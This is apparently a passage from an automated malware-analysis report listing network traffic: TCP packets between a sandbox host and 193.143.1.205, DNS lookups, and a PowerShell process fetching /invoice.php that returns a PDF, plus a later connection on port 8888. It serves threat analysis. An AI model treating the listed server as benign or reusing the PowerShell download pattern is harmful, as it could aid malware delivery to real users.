Jan 11, 2025 02:20:44.962048054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962061882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962065935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.962079048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962083101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.962095022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962110043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962126970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.962145090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.962470055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962485075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962498903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962513924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962528944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962543011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962548018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.962560892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:44.962565899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:44.962588072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.007848024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.122618914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.127554893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.127588034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.127602100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.127636909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.127669096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.127743959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.127772093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.132563114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.132612944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.132627010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.132658005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.132689953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.132735014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.132778883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.132793903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.132807970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.132822037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.132826090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.132865906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.133039951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133053064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133065939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133080006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133085966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.133094072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133107901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133116007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.133122921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133136988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133138895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.133155107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133188009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.133320093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133333921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133363962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.133483887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133497953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133511066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133517027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.133524895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133538008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133542061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.133553982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133568048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133574009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.133582115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133598089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133603096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.133610964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133626938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133630991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.133641958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.133661985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134099007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134110928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134126902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134133101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134144068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134156942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134161949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134171009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134183884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134188890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134196997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134212017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134223938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134227991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134237051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134249926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134251118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134264946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134278059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134279966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134301901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134306908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134346962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134532928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134546041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134557962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134577036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134685993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134697914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134710073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134721994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134721994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134736061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134742975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134748936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134762049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134767056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134793043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134833097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134845972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134856939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134870052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134880066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134882927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134895086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134902000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134907961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134921074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134923935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134934902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134947062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134959936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134973049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.134974003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.134974003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.135009050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.135587931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135601044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135612965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135624886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135637045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135644913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.135648966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135663033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135668993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.135690928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135693073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.135704994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135718107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135731936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135736942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.135746002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.135763884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.135780096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.135938883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136161089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136173010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136193037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136198997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.136205912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136219978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136229038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.136233091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136245966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136250973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.136259079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136271000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136285067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136284113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.136297941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136306047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.136310101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136322021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136334896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136341095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.136348963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136362076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136364937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.136373997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136388063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136399984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136400938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.136418104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.136423111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136441946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.136976957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.136989117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137001038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137013912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137017965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137027025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137042999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137048960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137063026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137067080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137074947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137088060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137099981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137096882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137114048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137119055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137125969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137140989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137152910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137159109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137166023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137180090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137181044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137195110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137207985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137214899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137219906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137233019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137238026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137248039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137259960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137267113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137274027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137290001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137307882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137810946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137824059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137835979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137847900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137861013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137866974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137875080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137887955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137892008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137917995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137924910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137938976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137950897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137962103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137964964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137979031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.137984991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.137991905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.138005018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.138017893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.138020992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.138032913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.138039112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.138071060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.143903971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.143930912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.143945932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.143994093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.144040108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144052982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144072056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144088030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.144117117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.144175053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144186974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144201994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144215107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144232035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.144263029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.144320011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144332886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144364119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.144468069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144480944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144493103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144505024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144514084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.144519091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:45.144548893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.564405918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.576724052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:45.871700048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:46.375910044 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:46.381004095 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:46.381103039 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:46.381566048 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:46.386472940 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:47.195944071 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:20:47.242257118 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:20:48.808087111 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:20:54.736874104 CET	64115	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:20:54.736874104 CET	192.168.2.5	1.1.1.1	0xd7fe	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:20:54.744343042 CET	1.1.1.1	192.168.2.5	0xd7fe	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:20:55.650573015 CET	1.1.1.1	192.168.2.5	0x957b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:20:55.650573015 CET	1.1.1.1	192.168.2.5	0x957b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	2000	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:20:43.543735027 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:20:44.369060993 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:20:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:20:44.369082928 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:20:44.369098902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
